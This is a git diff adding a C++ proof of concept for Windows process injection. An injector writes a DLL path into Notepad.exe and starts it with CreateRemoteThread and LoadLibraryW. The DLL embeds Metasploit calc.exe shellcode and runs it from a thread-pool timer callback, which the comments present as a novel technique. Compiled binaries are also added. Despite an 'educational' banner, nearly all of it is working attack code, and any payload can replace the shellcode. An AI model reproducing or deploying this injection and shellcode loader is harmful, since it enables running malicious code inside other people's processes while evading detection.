diff --git a/ConsoleApplication5.cpp b/ConsoleApplication5.cpp new file mode 100644 index 0000000..5cd3ce3 --- /dev/null +++ b/ConsoleApplication5.cpp @@ -0,0 +1,177 @@ +// Injector.cpp - Main injection + +#include +#include +#include +#include + +// Function to find process by name +DWORD GetProcessIdByName(const std::wstring& processName) { + DWORD processId = 0; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (Process32First(hSnapshot, &pe32)) { + do { + if (processName == pe32.szExeFile) { + processId = pe32.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe32)); + } + CloseHandle(hSnapshot); + } + return processId; +} + +// Function to inject DLL into target process +BOOL InjectDLL(DWORD processId, const std::wstring& dllPath) { + std::wcout << L"[>] Starting DLL injection into PID: " << processId << std::endl; + + // Open target process + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); + if (!hProcess) { + std::wcout << L"[-] Failed to open process. Error: " << GetLastError() << std::endl; + return FALSE; + } + + // Calculate DLL path size + SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t); + + // Allocate memory in target process + LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, dllPathSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!remoteMemory) { + std::wcout << L"[-] Failed to allocate memory in target process. Error: " << GetLastError() << std::endl; + CloseHandle(hProcess); + return FALSE; + } + + std::wcout << L"[+] Allocated memory in target process: 0x" << std::hex << remoteMemory << std::dec << std::endl; + + // Write DLL path to target process + if (!WriteProcessMemory(hProcess, remoteMemory, dllPath.c_str(), dllPathSize, NULL)) { + std::wcout << L"[-] Failed to write DLL path to target process. Error: " << GetLastError() << std::endl; + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + std::wcout << L"[+] DLL path written to target process" << std::endl; + + // Get LoadLibraryW address + HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); + FARPROC pLoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW"); + + if (!pLoadLibraryW) { + std::wcout << L"[-] Failed to get LoadLibraryW address" << std::endl; + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + // Create remote thread to load DLL + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, + (LPTHREAD_START_ROUTINE)pLoadLibraryW, + remoteMemory, 0, NULL); + if (!hThread) { + std::wcout << L"[-] Failed to create remote thread. Error: " << GetLastError() << std::endl; + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + std::wcout << L"[+] Remote thread created successfully" << std::endl; + + // Wait for DLL to load + WaitForSingleObject(hThread, INFINITE); + + // Check if DLL was loaded successfully + DWORD exitCode; + GetExitCodeThread(hThread, &exitCode); + + if (exitCode != 0) { + std::wcout << L"[+] DLL loaded successfully in target process" << std::endl; + } + else { + std::wcout << L"[-] DLL failed to load in target process" << std::endl; + } + + CloseHandle(hThread); + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + + return (exitCode != 0); +} + +// Function to get executable directory (where the .exe is located) +std::wstring GetExecutableDir() { + wchar_t buffer[MAX_PATH]; + GetModuleFileName(NULL, buffer, MAX_PATH); + std::wstring exePath(buffer); + + // Find last backslash and remove filename + size_t pos = exePath.find_last_of(L"\\"); + if (pos != std::wstring::npos) { + exePath = exePath.substr(0, pos); + } + + return exePath; +} + +bool FileExists(const std::wstring& filePath) { + DWORD fileAttributes = GetFileAttributes(filePath.c_str()); + return (fileAttributes != INVALID_FILE_ATTRIBUTES); +} + +int main() { + std::wcout << L"=== DLL + Timer Injection PoC ===" << std::endl; + std::wcout << L"Educational/Research Purpose Only" << std::endl << std::endl; + + std::wstring targetProcess = L"Notepad.exe"; + std::wstring dllName = L"TimerDLL.dll"; + + std::wstring executableDir = GetExecutableDir(); + std::wstring dllPath = executableDir + L"\\" + dllName; + + std::wcout << L"[>] Target process: " << targetProcess << std::endl; + std::wcout << L"[>] DLL path: " << dllPath << std::endl; + + if (!FileExists(dllPath)) { + std::wcout << L"[-] " << dllName << L" not found in current directory" << std::endl; + std::wcout << L"[-] Please compile " << dllName << L" first" << std::endl; + std::wcout << L"[>] Press Enter to exit..." << std::endl; + std::wcin.get(); + return -1; + } + + // Find target process + DWORD processId = GetProcessIdByName(targetProcess); + if (processId == 0) { + std::wcout << L"[-] Target process not found. Please start " << targetProcess << L" first" << std::endl; + std::wcout << L"[>] Press Enter to exit..." << std::endl; + std::wcin.get(); + return -1; + } + + std::wcout << L"[+] Found target process PID: " << processId << std::endl; + + // Inject DLL + if (InjectDLL(processId, dllPath)) { + std::wcout << L"[+] Injection completed successfully" << std::endl; + std::wcout << L"[+] Timer-based execution should occur in target process" << std::endl; + std::wcout << L"[+] Check C:\\temp\\timer_log.txt for execution logs" << std::endl; + std::wcout << L"[+] Calculator should appear in ~3 seconds" << std::endl; + } + else { + std::wcout << L"[-] Injection failed" << std::endl; + } + + std::wcout << L"[>] Press Enter to exit..." << std::endl; + std::wcin.get(); + + return 0; +} \ No newline at end of file diff --git a/ConsoleApplication5.exe b/ConsoleApplication5.exe new file mode 100644 index 0000000..9936d03 Binary files /dev/null and b/ConsoleApplication5.exe differ diff --git a/Dll1.dll b/Dll1.dll new file mode 100644 index 0000000..e22015f Binary files /dev/null and b/Dll1.dll differ diff --git a/dllmain.cpp b/dllmain.cpp new file mode 100644 index 0000000..2547c27 --- /dev/null +++ b/dllmain.cpp @@ -0,0 +1,170 @@ +// TimerDLL.cpp +#include "pch.h" +#include +#include +#include + +// Metasploit calc.exe shellcode (for demonstration) +unsigned char shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" +"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" +"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" +"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" +"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" +"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" +"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" +"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" +"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" +"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" +"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" +"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" +"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" +"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" +"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" +"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" +"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" +"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" +"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + +PTP_TIMER g_timer = NULL; +PVOID g_execMemory = NULL; + +void LogMessage(const char* message) { + HANDLE hFile = CreateFile(L"C:\\temp\\timer_log.txt", GENERIC_WRITE, 0, NULL, + OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile != INVALID_HANDLE_VALUE) { + SetFilePointer(hFile, 0, NULL, FILE_END); + + SYSTEMTIME st; + GetSystemTime(&st); + char timestampedMsg[512]; + sprintf_s(timestampedMsg, sizeof(timestampedMsg), + "[%02d:%02d:%02d.%03d] %s\n", + st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, message); + + DWORD bytesWritten; + WriteFile(hFile, timestampedMsg, strlen(timestampedMsg), &bytesWritten, NULL); + CloseHandle(hFile); + } +} + +// Timer callback function - This is where the novel technique executes +VOID CALLBACK TimerCallback(PTP_CALLBACK_INSTANCE instance, PVOID context, PTP_TIMER timer) { + // Get the current process ID and thread ID for logging + DWORD processId = GetCurrentProcessId(); + DWORD threadId = GetCurrentThreadId(); + + char logMessage[256]; + sprintf_s(logMessage, sizeof(logMessage), + "Timer callback fired! PID: %lu, TID: %lu, Context: 0x%p", + processId, threadId, context); + LogMessage(logMessage); + + // Change memory protection to executable + DWORD oldProtect; + if (VirtualProtect(context, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) { + LogMessage("Memory protection changed to executable"); + + // Execute shellcode + LogMessage("Executing shellcode via timer callback..."); + ((void(*)())context)(); + + LogMessage("Shellcode execution completed successfully"); + } + else { + char errorMsg[128]; + sprintf_s(errorMsg, sizeof(errorMsg), + "Failed to change memory protection. Error: %lu", GetLastError()); + LogMessage(errorMsg); + } +} + +// Function to set up timer-based execution +BOOL SetupTimerExecution() { + LogMessage("Setting up timer-based execution..."); + + // Allocate memory for shellcode + g_execMemory = VirtualAlloc(NULL, sizeof(shellcode), + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!g_execMemory) { + LogMessage("Failed to allocate memory for shellcode"); + return FALSE; + } + + char memMsg[128]; + sprintf_s(memMsg, sizeof(memMsg), "Allocated memory at: 0x%p", g_execMemory); + LogMessage(memMsg); + + // Copy shellcode to allocated memory + memcpy(g_execMemory, shellcode, sizeof(shellcode)); + LogMessage("Shellcode copied to allocated memory"); + + // Initialize thread pool callback environment + TP_CALLBACK_ENVIRON callbackEnv; + InitializeThreadpoolEnvironment(&callbackEnv); + LogMessage("Thread pool callback environment initialized"); + + // Create thread pool timer - This is the core of the novel technique + g_timer = CreateThreadpoolTimer(TimerCallback, g_execMemory, &callbackEnv); + if (!g_timer) { + LogMessage("Failed to create thread pool timer"); + VirtualFree(g_execMemory, 0, MEM_RELEASE); + return FALSE; + } + + LogMessage("Thread pool timer created successfully"); + + // Set timer to fire after 3 seconds (for demonstration) + FILETIME dueTime; + ULONGLONG delay = (ULONGLONG)-(3 * 10000000LL); // 3 seconds + dueTime.dwHighDateTime = (DWORD)(delay >> 32); + dueTime.dwLowDateTime = (DWORD)(delay & 0xFFFFFFFF); + + SetThreadpoolTimer(g_timer, &dueTime, 0, 0); + LogMessage("Timer set to fire in 3 seconds"); + + return TRUE; +} + +// DLL entry point +BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { + switch (dwReason) { + case DLL_PROCESS_ATTACH: + // Create directory for logging + CreateDirectory(L"C:\\temp", NULL); + + // Log DLL injection + char injectionMsg[256]; + sprintf_s(injectionMsg, sizeof(injectionMsg), + "TimerDLL.dll injected into process PID: %lu", GetCurrentProcessId()); + LogMessage(injectionMsg); + + // Set up timer-based execution + if (SetupTimerExecution()) { + LogMessage("Timer-based execution setup completed successfully"); + } + else { + LogMessage("Failed to setup timer-based execution"); + } + break; + + case DLL_PROCESS_DETACH: + LogMessage("DLL_PROCESS_DETACH - Cleaning up resources"); + + if (g_timer) { + CloseThreadpoolTimer(g_timer); + g_timer = NULL; + } + + if (g_execMemory) { + VirtualFree(g_execMemory, 0, MEM_RELEASE); + g_execMemory = NULL; + } + + LogMessage("Cleanup completed"); + break; + } + return TRUE; +} \ No newline at end of file